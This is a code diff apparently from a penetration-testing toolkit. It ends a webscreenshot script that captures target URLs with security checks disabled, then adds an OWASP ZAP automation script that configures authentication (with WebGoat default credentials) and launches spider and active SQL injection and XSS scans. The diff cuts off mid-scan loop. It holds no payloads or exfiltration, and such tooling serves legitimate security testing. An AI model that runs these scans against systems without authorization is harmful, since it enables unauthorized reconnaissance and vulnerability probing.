ipv4_and_port = re.compile('^(?P<host>%s):(?P<port>%s)%s' % (p_ipv4_elementary, p_port, p_resource))
|
||||
ipv4_only = re.compile('^(?P<host>%s)%s$' % (p_ipv4_elementary, p_resource))
|
||||
|
||||
entry_from_csv = re.compile('^(?P<host>%s|%s)\s+(?P<port>\d+)$' % (p_domain, p_ipv4_elementary))
|
||||
|
||||
# Handful functions
|
||||
def init_worker():
|
||||
"""
|
||||
Tell the workers to ignore a global SIGINT interruption
|
||||
"""
|
||||
signal.signal(signal.SIGINT, signal.SIG_IGN)
|
||||
|
||||
def kill_em_all(signal, frame):
|
||||
"""
|
||||
Terminate all processes while capturing a SIGINT from the user
|
||||
"""
|
||||
logger_gen.info('CTRL-C received, exiting')
|
||||
sys.exit(0)
|
||||
|
||||
def shell_exec(url, command, options):
|
||||
"""
|
||||
Execute a shell command following a timeout
|
||||
Taken from http://howto.pui.ch/post/37471155682/set-timeout-for-a-shell-command-in-python
|
||||
"""
|
||||
global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
logger_url = logging.getLogger("%s" % url)
|
||||
logger_url.setLevel(options.log_level)
|
||||
|
||||
timeout = int(options.timeout)
|
||||
start = datetime.datetime.now()
|
||||
|
||||
try :
|
||||
p = subprocess.Popen(shlex.split(command), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
# binaries timeout
|
||||
while p.poll() is None:
|
||||
time.sleep(0.1)
|
||||
now = datetime.datetime.now()
|
||||
if (now - start).seconds > timeout:
|
||||
logger_url.debug("Shell command PID %s reached the timeout, killing it now" % p.pid)
|
||||
logger_url.error("Screenshot somehow failed\n")
|
||||
|
||||
if sys.platform == 'win32':
|
||||
p.send_signal(signal.SIGTERM)
|
||||
else:
|
||||
p.send_signal(signal.SIGKILL)
|
||||
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
retval = p.poll()
|
||||
if retval != SHELL_EXECUTION_OK:
|
||||
if retval == PHANTOMJS_HTTP_AUTH_ERROR_CODE:
|
||||
# HTTP Authentication request
|
||||
logger_url.error("HTTP Authentication requested, try to pass credentials with -u and -b options")
|
||||
else:
|
||||
# Phantomjs general error
|
||||
logger_url.error("Shell command PID %s returned an abnormal error code: '%s'" % (p.pid,retval))
|
||||
logger_url.error("Screenshot somehow failed\n")
|
||||
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
else:
|
||||
# Phantomjs ok
|
||||
logger_url.debug("Shell command PID %s ended normally" % p.pid)
|
||||
logger_url.info("Screenshot OK\n")
|
||||
return SHELL_EXECUTION_OK
|
||||
|
||||
except Exception as e:
|
||||
if e.errno and e.errno == errno.ENOENT :
|
||||
logger_url.error('renderer binary could not have been found in your current PATH environment variable, exiting')
|
||||
else:
|
||||
logger_gen.error('Unknown error: %s, exiting' % e )
|
||||
return SHELL_EXECUTION_ERROR
|
||||
|
||||
def filter_bad_filename_chars(filename):
|
||||
#print (filename)
|
||||
"""
|
||||
Filter bad chars for any filename
|
||||
"""
|
||||
# Before, just avoid triple underscore escape for the classic '://' pattern
|
||||
filename = filename.replace('http://', '')
|
||||
filename = filename.replace('https://', '')
|
||||
#print (filename)
|
||||
|
||||
return re.sub('[^\w\-_\. ]', '-port', filename)
|
||||
#print (filename)
|
||||
|
||||
def extract_all_matched_named_groups(regex, match):
|
||||
"""
|
||||
Return a set of all extractable matched parameters.
|
||||
>>> full_uri_domain.groupindex
|
||||
{'domain': 1, 'port': 3}
|
||||
>>>full_uri_domain.match('http://8.8.8.8:80').group('domain')
|
||||
'8.8.8.8'
|
||||
>>>extract_all_matched_named_groups() => {'domain': '8.8.8.8', 'port': '80'}
|
||||
|
||||
"""
|
||||
result = {}
|
||||
for name, id in regex.groupindex.items():
|
||||
matched_value = match.group(name)
|
||||
if matched_value != None: result[name] = matched_value
|
||||
|
||||
return result
|
||||
|
||||
def entry_format_validator(line):
|
||||
"""
|
||||
Validate the current line against several regexes and return matched parameters (ip, domain, port etc.)
|
||||
"""
|
||||
tab = { 'full_uri_domain' : full_uri_domain,
|
||||
'fqdn_only' : fqdn_only,
|
||||
'fqdn_and_port' : fqdn_and_port,
|
||||
'ipv4_and_port' : ipv4_and_port,
|
||||
'ipv4_only' : ipv4_only,
|
||||
'entry_from_csv' : entry_from_csv
|
||||
}
|
||||
|
||||
for name, regex in tab.items():
|
||||
validator = regex.match(line)
|
||||
if validator:
|
||||
return extract_all_matched_named_groups(regex, validator)
|
||||
|
||||
def parse_targets(options, arguments):
|
||||
"""
|
||||
Parse list and convert each target to valid URI with port(protocol://foobar:port)
|
||||
"""
|
||||
|
||||
target_list = []
|
||||
|
||||
if options.input_file != None:
|
||||
with open(options.input_file,'rb') as fd_input:
|
||||
try:
|
||||
lines = [l.decode('utf-8').lstrip().rstrip().strip() for l in fd_input.readlines()]
|
||||
except UnicodeDecodeError as e:
|
||||
logger_gen.error('Your input file is not UTF-8 encoded, please encode it before using this script')
|
||||
sys.exit(0)
|
||||
else:
|
||||
lines = arguments
|
||||
|
||||
for index, line in enumerate(lines, start=1):
|
||||
matches = entry_format_validator(line)
|
||||
|
||||
# pass if line can be recognized as a correct input, or if no 'host' group could be found with all the regexes
|
||||
if matches == None or not('host' in matches.keys()):
|
||||
logger_gen.warn("Line %s '%s' could not have been recognized as a correct input" % (index, line))
|
||||
pass
|
||||
else:
|
||||
host = matches['host']
|
||||
|
||||
# Protocol is 'http' by default, unless ssl is forced
|
||||
if options.ssl == True:
|
||||
protocol = 'https'
|
||||
elif 'protocol' in matches.keys():
|
||||
protocol = str(matches['protocol'])
|
||||
else:
|
||||
protocol = 'http'
|
||||
|
||||
# Port is ('80' for http) or ('443' for https) by default, unless a specific port is supplied
|
||||
if options.port != None:
|
||||
port = options.port
|
||||
elif 'port' in matches.keys():
|
||||
port = int(matches['port'])
|
||||
|
||||
# if port is 443, assume protocol is https if is not specified
|
||||
protocol = 'https' if port == 443 else protocol
|
||||
else:
|
||||
port = 443 if protocol == 'https' else 80
|
||||
|
||||
# No resource URI by default
|
||||
if 'res' in matches.keys():
|
||||
res = str(matches['res'])
|
||||
else:
|
||||
res = None
|
||||
|
||||
# perform screenshots over HTTP and HTTPS for each target
|
||||
if options.multiprotocol:
|
||||
final_uri_http_port = int(matches['port']) if 'port' in matches.keys() else 80
|
||||
final_uri_http = '%s://%s:%s' % ('http', host, final_uri_http_port)
|
||||
target_list.append(final_uri_http)
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_http))
|
||||
|
||||
|
||||
final_uri_https_port = int(matches['port']) if 'port' in matches.keys() else 443
|
||||
final_uri_https = '%s://%s:%s' % ('https', host, final_uri_https_port)
|
||||
target_list.append(final_uri_https)
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri_https))
|
||||
|
||||
else:
|
||||
final_uri = '%s://%s:%s' % (protocol, host, port)
|
||||
final_uri = final_uri + '/%s' % res if res != None else final_uri
|
||||
target_list.append(final_uri)
|
||||
|
||||
logger_gen.info("'%s' has been formatted as '%s' with supplied overriding options" % (line, final_uri))
|
||||
|
||||
return target_list
|
||||
|
||||
def craft_cmd(url_and_options):
|
||||
"""
|
||||
Craft the correct command with url and options
|
||||
"""
|
||||
global logger_output, PHANTOMJS_BIN, WEBSCREENSHOT_JS, SCREENSHOTS_DIRECTORY, SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
url, options = url_and_options
|
||||
|
||||
logger_url = logging.getLogger("%s" % url)
|
||||
logger_url.addHandler(logger_output)
|
||||
logger_url.setLevel(options.log_level)
|
||||
|
||||
#output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.png' % filter_bad_filename_chars(url)))
|
||||
output_filename = os.path.join(SCREENSHOTS_DIRECTORY, ('%s.jpg' % filter_bad_filename_chars(url)))
|
||||
|
||||
# PhantomJS renderer
|
||||
if options.renderer == 'phantomjs':
|
||||
# If you ever want to add some voodoo options to the phantomjs command to be executed, that's here right below
|
||||
cmd_parameters = [ PHANTOMJS_BIN,
|
||||
'--ignore-ssl-errors true',
|
||||
'--ssl-protocol any',
|
||||
'--ssl-ciphers ALL'
|
||||
]
|
||||
|
||||
cmd_parameters.append("--proxy %s" % options.proxy) if options.proxy != None else None
|
||||
cmd_parameters.append("--proxy-auth %s" % options.proxy_auth) if options.proxy_auth != None else None
|
||||
cmd_parameters.append("--proxy-type %s" % options.proxy_type) if options.proxy_type != None else None
|
||||
|
||||
cmd_parameters.append('"%s" url_capture="%s" output_file="%s"' % (WEBSCREENSHOT_JS, url, output_filename))
|
||||
|
||||
cmd_parameters.append('header="Cookie: %s"' % options.cookie.rstrip(';')) if options.cookie != None else None
|
||||
|
||||
cmd_parameters.append('http_username="%s"' % options.http_username) if options.http_username != None else None
|
||||
cmd_parameters.append('http_password="%s"' % options.http_password) if options.http_password != None else None
|
||||
|
||||
if options.header:
|
||||
for header in options.header:
|
||||
cmd_parameters.append('header="%s"' % header.rstrip(';'))
|
||||
|
||||
# Chrome and chromium renderers
|
||||
else:
|
||||
cmd_parameters = [ CHROME_BIN ] if options.renderer == 'chrome' else [ CHROMIUM_BIN ]
|
||||
cmd_parameters += [ '--allow-running-insecure-content',
|
||||
'--ignore-certificate-errors',
|
||||
'--ignore-urlfetcher-cert-requests',
|
||||
'--reduce-security-for-testing',
|
||||
'--no-sandbox',
|
||||
'--headless',
|
||||
'--disable-gpu',
|
||||
'--hide-scrollbars',
|
||||
'--incognito',
|
||||
'-screenshot="%s"' % output_filename,
|
||||
'--window-size=1200,800',
|
||||
'"%s"' % url
|
||||
]
|
||||
cmd_parameters.append('--proxy-server="%s"' % options.proxy) if options.proxy != None else None
|
||||
|
||||
cmd = " ".join(cmd_parameters)
|
||||
|
||||
logger_url.debug("Shell command to be executed\n'%s'\n" % cmd)
|
||||
|
||||
execution_retval = shell_exec(url, cmd, options)
|
||||
|
||||
return execution_retval, url
|
||||
|
||||
|
||||
def take_screenshot(url_list, options):
|
||||
"""
|
||||
Launch the screenshot workers
|
||||
Thanks http://noswap.com/blog/python-multiprocessing-keyboardinterrupt
|
||||
"""
|
||||
global SHELL_EXECUTION_OK, SHELL_EXECUTION_ERROR
|
||||
|
||||
screenshot_number = len(url_list)
|
||||
print "[+] %s URLs to be screenshot" % screenshot_number
|
||||
|
||||
pool = multiprocessing.Pool(processes=int(options.workers), initializer=init_worker)
|
||||
|
||||
taken_screenshots = [r for r in pool.imap(func=craft_cmd, iterable=itertools.izip(url_list, itertools.repeat(options)))]
|
||||
|
||||
screenshots_error_url = [url for retval, url in taken_screenshots if retval == SHELL_EXECUTION_ERROR]
|
||||
screenshots_error = sum(retval == SHELL_EXECUTION_ERROR for retval, url in taken_screenshots)
|
||||
screenshots_ok = int(screenshot_number - screenshots_error)
|
||||
|
||||
print "[+] %s actual URLs screenshot" % screenshots_ok
|
||||
print "[+] %s error(s)" % screenshots_error
|
||||
|
||||
if screenshots_error != 0:
|
||||
for url in screenshots_error_url:
|
||||
print " %s" % url
|
||||
|
||||
return None
|
||||
|
||||
def main():
|
||||
"""
|
||||
Dat main
|
||||
"""
|
||||
global VERSION, SCREENSHOTS_DIRECTORY, LOGLEVELS
|
||||
signal.signal(signal.SIGINT, kill_em_all)
|
||||
|
||||
print 'webscreenshot.py version %s\n' % VERSION
|
||||
|
||||
options, arguments = parser.parse_args()
|
||||
|
||||
try :
|
||||
options.log_level = LOGLEVELS[options.verbosity]
|
||||
logger_gen.setLevel(options.log_level)
|
||||
except :
|
||||
parser.error("Please specify a valid log level")
|
||||
|
||||
if (options.input_file == None and (len(arguments) > 1 or len(arguments) == 0)):
|
||||
parser.error('Please specify a valid input file or a valid URL')
|
||||
|
||||
if (options.input_file != None and len(arguments) == 1):
|
||||
parser.error('Please specify either an input file or an URL')
|
||||
|
||||
if (options.output_directory != None):
|
||||
SCREENSHOTS_DIRECTORY = os.path.abspath(os.path.join(os.getcwdu(), options.output_directory))
|
||||
|
||||
logger_gen.debug("Options: %s\n" % options)
|
||||
if not os.path.exists(SCREENSHOTS_DIRECTORY):
|
||||
logger_gen.info("'%s' does not exist, will then be created" % SCREENSHOTS_DIRECTORY)
|
||||
os.makedirs(SCREENSHOTS_DIRECTORY)
|
||||
|
||||
url_list = parse_targets(options, arguments)
|
||||
|
||||
take_screenshot(url_list, options)
|
||||
|
||||
return None
|
||||
|
||||
if __name__ == "__main__" :
|
||||
main()
|
||||
|
|
@ -0,0 +1,510 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
'''
|
||||
This script aims to be the most generic and the most explicit possible.
|
||||
It works with OWASP ZAP API Python client.
|
||||
To use it, you have to load the Python API client module and start ZAP
|
||||
|
||||
Before starting this script for the first time: Open ZAP, go to
|
||||
Tools -> Options -> API -> Generate random Key, copy and paste the key in the
|
||||
variable "apiKey" of the configuration area
|
||||
|
||||
This script is divided into two parts : a configuration area, where you have to
|
||||
change variables according to your needs, and the part with API calls.
|
||||
|
||||
Author : aine-rb on Github, from Sopra Steria - modified for Sn1per by @xer0dayz
|
||||
'''
|
||||
|
||||
import time
|
||||
from pprint import pprint
|
||||
from zapv2 import ZAPv2
|
||||
import sys, getopt
|
||||
|
||||
targetURL = str(sys.argv[1])
|
||||
|
||||
#######################################
|
||||
### BEGINNING OF CONFIGURATION AREA ###
|
||||
#######################################
|
||||
## The user only needs to change variable values bellow to make the script
|
||||
## work according to his/her needs. MANDATORY parameters must not be empty
|
||||
|
||||
# MANDATORY. Define the API key generated by ZAP and used to verify actions.
|
||||
apiKey=''
|
||||
|
||||
# MANDATORY. Define the listening address of ZAP instance
|
||||
localProxy = {"http": "http://127.0.0.1:8081", "https": "http://127.0.0.1:8081"}
|
||||
|
||||
# MANDATORY. True to create another ZAP session (overwrite the former if the
|
||||
# same name already exists), False to use an existing one
|
||||
isNewSession = True
|
||||
# MANDATORY. ZAP Session name
|
||||
sessionName = 'WebgoatSession'
|
||||
|
||||
# Define the list of global exclude URL regular expressions. List can be empty.
|
||||
# The expressions must follow the java.util.regex.Pattern class syntax
|
||||
# The following example excludes every single URL except http://localhost:8081
|
||||
globalExcludeUrl = ['^(?:(?!http:\/\/localhost:8081).*).$']
|
||||
|
||||
# MANDATORY. Define if an outgoing proxy server is used
|
||||
useProxyChain = False
|
||||
# MANDATORY only if useProxyChain is True, ignored otherwise.
|
||||
# Outgoing proxy address and port
|
||||
proxyAddress = 'my.corp.proxy'
|
||||
proxyPort = '8080'
|
||||
# Define the addresses to skip in case useProxyChain is True. Ignored
|
||||
# otherwise. List can be empty.
|
||||
skipProxyAddresses = ('127.0.0.1;'
|
||||
'localhost')
|
||||
# MANDATORY only if useProxyChain is True. Ignored otherwise.
|
||||
# Define if proxy server needs authentication
|
||||
useProxyChainAuth = False
|
||||
# MANDATORY only if useProxyChainAuth is True. Ignored otherwise
|
||||
proxyUsername = ''
|
||||
proxyPassword = ''
|
||||
proxyRealm = ''
|
||||
|
||||
# MANDATORY. Determine if a proxy script must be loaded. Proxy scripts are
|
||||
# executed for every request traversing ZAP
|
||||
useProxyScript = False
|
||||
# MANDATORY only if useProxyScript is True. Ignored otherwise
|
||||
proxyScriptName = 'proxyScript.js'
|
||||
# Script engine values: "Oracle Nashorn" for Javascript,
|
||||
# "jython" for python, "JSR 223 JRuby Engine" for ruby
|
||||
proxyScriptEngine = 'Oracle Nashorn'
|
||||
# Asolute local path
|
||||
proxyScriptFileName = '/zap/scripts/proxy/proxyScript.js'
|
||||
proxyScriptDescription = 'This is a description'
|
||||
|
||||
# MANDATORY. Determine if context must be configured then used during scans.
|
||||
# You have to set this parameter to True if you want that ZAP performs scans
|
||||
# from the point of view of a specific user
|
||||
useContextForScan = False
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise. Set value to
|
||||
# True to define a new context. Set value to False to use an existing one.
|
||||
defineNewContext = False
|
||||
# MANDATORY only if defineNewContext is True. Ignored otherwise
|
||||
contextName = 'WebGoat_script-based'
|
||||
# MANDATORY only if defineNewContext is False. Disregarded otherwise.
|
||||
# Corresponds to the ID of the context to use
|
||||
contextId = 0
|
||||
# Define Context Include URL regular expressions. Ignored if useContextForScan
|
||||
# is False. You have to put the URL you want to test in this list.
|
||||
contextIncludeURL = [targetURL + '.*']
|
||||
# Define Context Exclude URL regular expressions. Ignored if useContextForScan
|
||||
# is False. List can be empty.
|
||||
contextExcludeURL = ['http://localhost:8081/WebGoat/j_spring_security_logout',
|
||||
'http://localhost:8081/WebGoat/logout.mvc']
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise. Define the
|
||||
# session management method for the context. Possible values are:
|
||||
# "cookieBasedSessionManagement"; "httpAuthSessionManagement"
|
||||
sessionManagement = 'cookieBasedSessionManagement'
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise. Define
|
||||
# authentication method for the context. Possible values are:
|
||||
# "manualAuthentication"; "scriptBasedAuthentication"; "httpAuthentication";
|
||||
# "formBasedAuthentication"
|
||||
authMethod = 'scriptBasedAuthentication'
|
||||
|
||||
# MANDATORY only if authMethod is set to scriptBasedAuthentication.
|
||||
# Ignored otherwise
|
||||
authScriptName = 'TwoStepAuthentication.js'
|
||||
# Script engine values: Oracle Nashorn for Javascript
|
||||
# jython for python, JSR 223 JRuby Engine for ruby
|
||||
authScriptEngine = 'Oracle Nashorn'
|
||||
# Absolute local path
|
||||
authScriptFileName = '/zap/scripts/authentication/TwoStepAuthentication.js'
|
||||
authScriptDescription = 'This is a description'
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise. Each
|
||||
# name/value pair of authParams are expected to be "x-www-form-urlencoded"
|
||||
# Here is an example for scriptBasedAuthentication method:
|
||||
authParams = ('scriptName=' + authScriptName + '&'
|
||||
'Submission Form URL=http://localhost:8081/WebGoat/j_spring_security_check&'
|
||||
'Username field=username&'
|
||||
'Password field=password&'
|
||||
'Target URL=http://localhost:8081/WebGoat/welcome.mvc')
|
||||
## Here is an example for formBasedAuthentication method:
|
||||
#authParams = ('loginUrl=http://localhost:8081/WebGoat/j_spring_security_check&'
|
||||
# 'loginRequestData=username%3D%7B%25username%25%7D%26'
|
||||
# 'password%3D%7B%25password%25%7D')
|
||||
##Here is an example for httpAuthentication method:
|
||||
#authParams = ('hostname=http://www.example.com&'
|
||||
# 'realm=CORP\\administrator&'
|
||||
# 'port=80')
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise.
|
||||
# Set the value to True if a loggedin indicator must be used. False if it's a
|
||||
# logged out indicator that must be used
|
||||
isLoggedInIndicator = False
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise.
|
||||
# Define either a loggedin or a loggedout indicator regular expression.
|
||||
# It allows ZAP to see if the user is always authenticated during scans.
|
||||
indicatorRegex = '\QLocation: http://localhost:8081/WebGoat/login.mvc\E'
|
||||
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise.
|
||||
# Set value to True to create new users, False otherwise
|
||||
createUser = False
|
||||
# MANDATORY only if createUser is True. Ignored otherwise. Define the list of
|
||||
# users, with name and credentials (in x-www-form-urlencoded format)
|
||||
## Here is an example with the script NashornTwoStepAuthentication.js:
|
||||
userList = [
|
||||
{'name': 'guest', 'credentials': 'Username=guest&Password=guest'},
|
||||
{'name': 'webgoat', 'credentials': 'Username=webgoat&Password=webgoat'}
|
||||
]
|
||||
## Here is an example with formBasedAuthentication:
|
||||
#userList = [
|
||||
# {'name': 'guest', 'credentials': 'username=guest&password=guest'},
|
||||
# {'name': 'webgoat', 'credentials': 'username=webgoat&password=webgoat'}
|
||||
#]
|
||||
|
||||
# MANDATORY only if useContextForScan is True. Ignored otherwise. List can be
|
||||
# empty. Define the userid list. Created users will be added to this list later
|
||||
userIdList = []
|
||||
|
||||
# MANDATORY. Define the target site to test
|
||||
#target = 'http://10.0.0.19/'
|
||||
target = targetURL
|
||||
# You can specify other URL in order to help ZAP discover more site locations
|
||||
# List can be empty
|
||||
applicationURL = ['']
|
||||
|
||||
# MANDATORY. Set value to True if you want to customize and use a scan policy
|
||||
useScanPolicy = False
|
||||
# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set a policy name
|
||||
scanPolicyName = 'SQL Injection and XSS'
|
||||
# MANDATORY only if useScanPolicy is True. Ignored otherwise.
|
||||
# Set value to True to disable all scan types except the ones set in ascanIds,
|
||||
# False to enable all scan types except the ones set in ascanIds..
|
||||
isWhiteListPolicy = False
|
||||
# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the scan IDs
|
||||
# to use with the policy. Other scan types will be disabled if
|
||||
# isWhiteListPolicy is True, enabled if isWhiteListPolicy is False.
|
||||
# Use zap.ascan.scanners() to list all ascan IDs.
|
||||
## In the example bellow, the first line corresponds to SQL Injection scan IDs,
|
||||
## the second line corresponds to some XSS scan IDs
|
||||
ascanIds = [40018, 40019, 40020, 40021, 40022, 40024, 90018,
|
||||
40012, 40014, 40016, 40017]
|
||||
# MANDATORY only if useScanPolicy is True. Ignored otherwise. Set the alert
|
||||
# Threshold and the attack strength of enabled active scans.
|
||||
# Currently, possible values are:
|
||||
# Low, Medium and High for alert Threshold
|
||||
# Low, Medium, High and Insane for attack strength
|
||||
alertThreshold = 'Medium'
|
||||
attackStrength = 'Low'
|
||||
|
||||
# MANDATORY. Set True to use Ajax Spider, False otherwise.
|
||||
useAjaxSpider = True
|
||||
|
||||
# MANDATORY. Set True to shutdown ZAP once finished, False otherwise
|
||||
shutdownOnceFinished = False
|
||||
|
||||
#################################
|
||||
### END OF CONFIGURATION AREA ###
|
||||
#################################
|
||||
sys.stdout = open("/usr/share/sniper/bin/zap-report.txt", "w")
|
||||
|
||||
# Connect ZAP API client to the listening address of ZAP instance
|
||||
zap = ZAPv2(proxies=localProxy, apikey=apiKey)
|
||||
|
||||
# Start the ZAP session
|
||||
core = zap.core
|
||||
if isNewSession:
|
||||
pprint('Create ZAP session: ' + sessionName + ' -> ' +
|
||||
core.new_session(name=sessionName, overwrite=True))
|
||||
else:
|
||||
pprint('Load ZAP session: ' + sessionName + ' -> ' +
|
||||
core.load_session(name=sessionName))
|
||||
|
||||
# Configure ZAP global Exclude URL option
|
||||
print('Add Global Exclude URL regular expressions:')
|
||||
for regex in globalExcludeUrl:
|
||||
pprint(regex + ' ->' + core.exclude_from_proxy(regex=regex))
|
||||
|
||||
# Configure ZAP outgoing proxy server connection option
|
||||
pprint('Enable outgoing proxy chain: ' + str(useProxyChain) + ' -> ' +
|
||||
core.set_option_use_proxy_chain(boolean=useProxyChain))
|
||||
if useProxyChain:
|
||||
pprint('Set outgoing proxy name: ' + proxyAddress + ' -> ' +
|
||||
core.set_option_proxy_chain_name(string=proxyAddress))
|
||||
pprint('Set outgoing proxy port: ' + proxyPort + ' -> ' +
|
||||
core.set_option_proxy_chain_port(integer=proxyPort))
|
||||
pprint('Skip names for outgoing proxy: ' + skipProxyAddresses + ' -> ' +
|
||||
core.set_option_proxy_chain_skip_name(string=skipProxyAddresses))
|
||||
|
||||
# Configure ZAP outgoing proxy server authentication
|
||||
pprint('Set outgoing proxy chain authentication: ' +
|
||||
str(useProxyChainAuth) + ' -> ' +
|
||||
core.set_option_use_proxy_chain_auth(boolean=useProxyChainAuth))
|
||||
if useProxyChainAuth:
|
||||
pprint('Set outgoing proxy username -> ' +
|
||||
core.set_option_proxy_chain_user_name(string=proxyUsername))
|
||||
pprint('Set outgoing proxy password -> ' +
|
||||
core.set_option_proxy_chain_password(string=proxyPassword))
|
||||
pprint('Set outgoing proxy realm: ' + proxyRealm + ' -> ' +
|
||||
core.set_option_proxy_chain_realm(string=proxyRealm))
|
||||
|
||||
if useProxyScript:
|
||||
script = zap.script
|
||||
script.remove(scriptname=proxyScriptName)
|
||||
pprint('Load proxy script: ' + proxyScriptName + ' -> ' +
|
||||
script.load(scriptname=proxyScriptName, scripttype='proxy',
|
||||
scriptengine=proxyScriptEngine,
|
||||
filename=proxyScriptFileName,
|
||||
scriptdescription=proxyScriptDescription))
|
||||
pprint('Enable proxy script: ' + proxyScriptName + ' -> ' +
|
||||
script.enable(scriptname=proxyScriptName))
|
||||
|
||||
|
||||
if useContextForScan:
|
||||
# Define the ZAP context
|
||||
context = zap.context
|
||||
if defineNewContext:
|
||||
contextId = context.new_context(contextname=contextName)
|
||||
pprint('Use context ID: ' + contextId)
|
||||
|
||||
# Include URL in the context
|
||||
print('Include URL in context:')
|
||||
for url in contextIncludeURL:
|
||||
pprint(url + ' -> ' +
|
||||
context.include_in_context(contextname=contextName,
|
||||
regex=url))
|
||||
|
||||
# Exclude URL in the context
|
||||
print('Exclude URL from context:')
|
||||
for url in contextExcludeURL:
|
||||
pprint(url + ' -> ' +
|
||||
context.exclude_from_context(contextname=contextName,
|
||||
regex=url))
|
||||
|
||||
# Setup session management for the context.
|
||||
# There is no methodconfigparams to provide for both current methods
|
||||
pprint('Set session management method: ' + sessionManagement + ' -> ' +
|
||||
zap.sessionManagement.set_session_management_method(
|
||||
contextid=contextId, methodname=sessionManagement,
|
||||
methodconfigparams=None))
|
||||
|
||||
## In case we use the scriptBasedAuthentication method, load the script
|
||||
if authMethod == 'scriptBasedAuthentication':
|
||||
script = zap.script
|
||||
script.remove(scriptname=authScriptName)
|
||||
pprint('Load script: ' + authScriptName + ' -> ' +
|
||||
script.load(scriptname=authScriptName,
|
||||
scripttype='authentication',
|
||||
scriptengine=authScriptEngine,
|
||||
filename=authScriptFileName,
|
||||
scriptdescription=authScriptDescription))
|
||||
|
||||
# Define an authentication method with parameters for the context
|
||||
auth = zap.authentication
|
||||
pprint('Set authentication method: ' + authMethod + ' -> ' +
|
||||
auth.set_authentication_method(contextid=contextId,
|
||||
authmethodname=authMethod,
|
||||
authmethodconfigparams=authParams))
|
||||
# Define either a loggedin indicator or a loggedout indicator regexp
|
||||
# It allows ZAP to see if the user is always authenticated during scans
|
||||
if isLoggedInIndicator:
|
||||
pprint('Define Loggedin indicator: ' + indicatorRegex + ' -> ' +
|
||||
auth.set_logged_in_indicator(contextid=contextId,
|
||||
loggedinindicatorregex=indicatorRegex))
|
||||
else:
|
||||
pprint('Define Loggedout indicator: ' + indicatorRegex + ' -> ' +
|
||||
auth.set_logged_out_indicator(contextid=contextId,
|
||||
loggedoutindicatorregex=indicatorRegex))
|
||||
|
||||
# Define the users
|
||||
users = zap.users
|
||||
if createUser:
|
||||
for user in userList:
|
||||
userName = user.get('name')
|
||||
print('Create user ' + userName + ':')
|
||||
userId = users.new_user(contextid=contextId, name=userName)
|
||||
userIdList.append(userId)
|
||||
pprint('User ID: ' + userId + '; username -> ' +
|
||||
users.set_user_name(contextid=contextId, userid=userId,
|
||||
name=userName) +
|
||||
'; credentials -> ' +
|
||||
users.set_authentication_credentials(contextid=contextId,
|
||||
userid=userId,
|
||||
authcredentialsconfigparams=user.get('credentials')) +
|
||||
'; enabled -> ' +
|
||||
users.set_user_enabled(contextid=contextId, userid=userId,
|
||||
enabled=True))
|
||||
|
||||
# Enable all passive scanners (it's possible to do a more specific policy by
|
||||
# setting needed scan ID: Use zap.pscan.scanners() to list all passive scanner
|
||||
# IDs, then use zap.scan.enable_scanners(ids) to enable what you want
|
||||
pprint('Enable all passive scanners -> ' +
|
||||
zap.pscan.enable_all_scanners())
|
||||
|
||||
ascan = zap.ascan
|
||||
# Define if a new scan policy is used
|
||||
if useScanPolicy:
|
||||
ascan.remove_scan_policy(scanpolicyname=scanPolicyName)
|
||||
pprint('Add scan policy ' + scanPolicyName + ' -> ' +
|
||||
ascan.add_scan_policy(scanpolicyname=scanPolicyName))
|
||||
for policyId in range(0, 5):
|
||||
# Set alert Threshold for all scans
|
||||
ascan.set_policy_alert_threshold(id=policyId,
|
||||
alertthreshold=alertThreshold,
|
||||
scanpolicyname=scanPolicyName)
|
||||
# Set attack strength for all scans
|
||||
ascan.set_policy_attack_strength(id=policyId,
|
||||
attackstrength=attackStrength,
|
||||
scanpolicyname=scanPolicyName)
|
||||
if isWhiteListPolicy:
|
||||
# Disable all active scanners in order to enable only what you need
|
||||
pprint('Disable all scanners -> ' +
|
||||
ascan.disable_all_scanners(scanpolicyname=scanPolicyName))
|
||||
# Enable some active scanners
|
||||
pprint('Enable given scan IDs -> ' +
|
||||
ascan.enable_scanners(ids=ascanIds,
|
||||
scanpolicyname=scanPolicyName))
|
||||
else:
|
||||
# Enable all active scanners
|
||||
pprint('Enable all scanners -> ' +
|
||||
ascan.enable_all_scanners(scanpolicyname=scanPolicyName))
|
||||
# Disable some active scanners
|
||||
pprint('Disable given scan IDs -> ' +
|
||||
ascan.disable_scanners(ids=ascanIds,
|
||||
scanpolicyname=scanPolicyName))
|
||||
else:
|
||||
print('No custom policy used for scan')
|
||||
scanPolicyName = None
|
||||
|
||||
# Open URL inside ZAP
|
||||
pprint('Access target URL ' + target)
|
||||
core.access_url(url=target, followredirects=True)
|
||||
for url in applicationURL:
|
||||
pprint('Access URL ' + url)
|
||||
core.access_url(url=url, followredirects=True)
|
||||
# Give the sites tree a chance to get updated
|
||||
time.sleep(2)
|
||||
|
||||
# Launch Spider, Ajax Spider (if useAjaxSpider is set to true) and
|
||||
# Active scans, with a context and users or not
|
||||
forcedUser = zap.forcedUser
|
||||
spider = zap.spider
|
||||
ajax = zap.ajaxSpider
|
||||
scanId = 0
|
||||
print('Starting Scans on target: ' + target)
|
||||
if useContextForScan:
|
||||
for userId in userIdList:
|
||||
print('Starting scans with User ID: ' + userId)
|
||||
|
||||
# Spider the target and recursively scan every site node found
|
||||
scanId = spider.scan_as_user(contextid=contextId, userid=userId,
|
||||
url=target, maxchildren=None, recurse=True, subtreeonly=None)
|
||||
